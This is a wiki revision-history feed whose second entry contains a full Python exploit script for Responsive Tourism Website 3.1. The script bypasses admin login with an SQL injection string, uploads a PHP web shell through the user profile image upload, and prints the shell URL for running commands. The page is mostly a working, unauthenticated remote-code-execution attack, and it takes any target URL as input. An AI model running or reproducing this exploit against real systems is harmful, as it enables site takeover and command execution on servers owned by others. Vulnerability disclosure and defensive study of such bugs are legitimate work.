<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Responsive_Tourism_Website_3.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E</id>
	<title>Responsive Tourism Website 3.1 遠程代碼執行漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=Responsive_Tourism_Website_3.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Responsive_Tourism_Website_3.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T04:16:33Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Responsive_Tourism_Website_3.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=5554&amp;oldid=prev</id>
		<title>Pwnwiki: Marked this version for translation</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Responsive_Tourism_Website_3.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=5554&amp;oldid=prev"/>
		<updated>2021-06-23T00:07:16Z</updated>

		<summary type="html">&lt;p&gt;Marked this version for translation&lt;/p&gt;
&lt;table class=&quot;diff diff-contentalign-left diff-editfont-monospace&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;chinese&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 00:07, 23 June 2021&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l1&quot; &gt;Line 1:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 1:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==影響版本==&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==影響版本== &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;!--T:1--&amp;gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;Version: V 3.1&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;Version: V 3.1&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;

&lt;!-- diff cache key pwn_wiki:diff::1.12:old-5553:rev-5554 --&gt;
&lt;/table&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Responsive_Tourism_Website_3.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=5553&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;&lt;languages /&gt; &lt;translate&gt; ==影響版本== &lt;/translate&gt; Version: V 3.1  ==EXP== &lt;pre&gt; # Exploit Title: Responsive Tourism Website 3.1 - Remote Code Execution (RCE) (Unauthenti...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Responsive_Tourism_Website_3.1_%E9%81%A0%E7%A8%8B%E4%BB%A3%E7%A2%BC%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=5553&amp;oldid=prev"/>
		<updated>2021-06-23T00:06:45Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;&amp;lt;languages /&amp;gt; &amp;lt;translate&amp;gt; ==影響版本== &amp;lt;/translate&amp;gt; Version: V 3.1  ==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Responsive Tourism Website 3.1 - Remote Code Execution (RCE) (Unauthenti...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
==影響版本==&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
Version: V 3.1&lt;br /&gt;
&lt;br /&gt;
==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Responsive Tourism Website 3.1 - Remote Code Execution (RCE) (Unauthenticated)&lt;br /&gt;
# Date: 22.06.2021&lt;br /&gt;
# Exploit Author: Tagoletta (Tağmaç)&lt;br /&gt;
# Software Link: https://www.sourcecodester.com/php/14838/simple-responsive-tourism-website-using-php-free-source-code.html&lt;br /&gt;
# Version: V 3.1&lt;br /&gt;
# Tested on: MacOS &amp;amp; Windows&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
import random&lt;br /&gt;
import string&lt;br /&gt;
from bs4 import BeautifulSoup&lt;br /&gt;
&lt;br /&gt;
url = input(&amp;quot;TARGET = &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
if not url.startswith('http://') and not url.startswith('https://'):&lt;br /&gt;
    url = &amp;quot;http://&amp;quot; + url&lt;br /&gt;
if not url.endswith('/'):&lt;br /&gt;
    url = url + &amp;quot;/&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
session = requests.Session()&lt;br /&gt;
session.get(url + 'admin/login.php')&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;- Bypassing login -&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
login_url = url + &amp;quot;classes/Login.php?f=login&amp;quot;&lt;br /&gt;
login_data = {&amp;quot;username&amp;quot;: &amp;quot;admin' or '1'='1'#&amp;quot;, &amp;quot;password&amp;quot;: &amp;quot;admin' or '1'='1'#&amp;quot;}&lt;br /&gt;
session.post(login_url, cookies=session.cookies.get_dict(), data=login_data)&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;- Protecting User -&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
protectSettings_url = url + 'admin/?page=user'&lt;br /&gt;
protectSetting_html = session.get(protectSettings_url)&lt;br /&gt;
protectSettings_parser = BeautifulSoup(protectSetting_html.text, 'html.parser')&lt;br /&gt;
&lt;br /&gt;
ids = protectSettings_parser.find('input', {'name':'id'}).get(&amp;quot;value&amp;quot;)&lt;br /&gt;
firstname = protectSettings_parser.find('input', {'id':'firstname'}).get(&amp;quot;value&amp;quot;)&lt;br /&gt;
lastname = protectSettings_parser.find('input', {'id':'lastname'}).get(&amp;quot;value&amp;quot;)&lt;br /&gt;
username = protectSettings_parser.find('input', {'id':'username'}).get(&amp;quot;value&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;User ID : &amp;quot; + ids)&lt;br /&gt;
print(&amp;quot;First Name : &amp;quot; + firstname)&lt;br /&gt;
print(&amp;quot;Last Name : &amp;quot; + lastname)&lt;br /&gt;
print(&amp;quot;Username : &amp;quot; + username)&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;- OK -&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
let = string.ascii_lowercase&lt;br /&gt;
shellname = ''.join(random.choice(let) for i in range(15))&lt;br /&gt;
&lt;br /&gt;
print(&amp;quot;Shell uploading&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
upload_url = url + &amp;quot;classes/Users.php?f=save&amp;quot;&lt;br /&gt;
upload_headers = {&amp;quot;Accept&amp;quot;: &amp;quot;*/*&amp;quot;, &amp;quot;X-Requested-With&amp;quot;: &amp;quot;XMLHttpRequest&amp;quot;, &amp;quot;Content-Type&amp;quot;: &amp;quot;multipart/form-data; boundary=----WebKitFormBoundary7gB8BDj2OLQBJbBT&amp;quot;, &amp;quot;Accept-Encoding&amp;quot;: &amp;quot;gzip, deflate&amp;quot;, &amp;quot;Accept-Language&amp;quot;: &amp;quot;tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7&amp;quot;, &amp;quot;Connection&amp;quot;: &amp;quot;close&amp;quot;}&lt;br /&gt;
upload_payload = &amp;quot;&amp;lt;?php if(isset($_GET['cmd'])){ echo '&amp;lt;b&amp;gt;Tagoletta&amp;lt;/b&amp;gt;&amp;lt;pre&amp;gt;'; $cmd = ($_GET['cmd']); system($cmd); echo '&amp;lt;/pre&amp;gt;'; die; } ?&amp;gt;&amp;quot;&lt;br /&gt;
upload_data = &amp;quot;------WebKitFormBoundary7gB8BDj2OLQBJbBT\r\nContent-Disposition: form-data; name=\&amp;quot;id\&amp;quot;\r\n\r\n&amp;quot;+ids+&amp;quot;\r\n------WebKitFormBoundary7gB8BDj2OLQBJbBT\r\nContent-Disposition: form-data; name=\&amp;quot;firstname\&amp;quot;\r\n\r\n&amp;quot;+firstname+&amp;quot;\r\n------WebKitFormBoundary7gB8BDj2OLQBJbBT\r\nContent-Disposition: form-data; name=\&amp;quot;lastname\&amp;quot;\r\n\r\n&amp;quot;+lastname+&amp;quot;\r\n------WebKitFormBoundary7gB8BDj2OLQBJbBT\r\nContent-Disposition: form-data; name=\&amp;quot;username\&amp;quot;\r\n\r\n&amp;quot;+username+&amp;quot;\r\n------WebKitFormBoundary7gB8BDj2OLQBJbBT\r\nContent-Disposition: form-data; name=\&amp;quot;password\&amp;quot;\r\n\r\n\r\n------WebKitFormBoundary7gB8BDj2OLQBJbBT\r\nContent-Disposition: form-data; name=\&amp;quot;img\&amp;quot;; filename=\&amp;quot;&amp;quot;+shellname+&amp;quot;_Tagoletta.php\&amp;quot;\r\nContent-Type: application/octet-stream\r\n\r\n&amp;quot;+ upload_payload +&amp;quot;\r\n------WebKitFormBoundary7gB8BDj2OLQBJbBT--\r\n&amp;quot;&lt;br /&gt;
upload = session.post(upload_url, headers=upload_headers, data=upload_data)&lt;br /&gt;
&lt;br /&gt;
if upload.status_code == 200:&lt;br /&gt;
    print(&amp;quot;- OK -&amp;quot;)&lt;br /&gt;
    req = session.get(url + &amp;quot;/admin/?page=user&amp;quot;, headers=session.headers)&lt;br /&gt;
    parser = BeautifulSoup(req.text, 'html.parser')&lt;br /&gt;
    find_shell = parser.find('img', {'id':'cimg'})&lt;br /&gt;
    print(&amp;quot;Shell URL : &amp;quot; + find_shell.get(&amp;quot;src&amp;quot;) + &amp;quot;?cmd=whoami&amp;quot;)&lt;br /&gt;
else:&lt;br /&gt;
    print(&amp;quot;- NO :( -&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>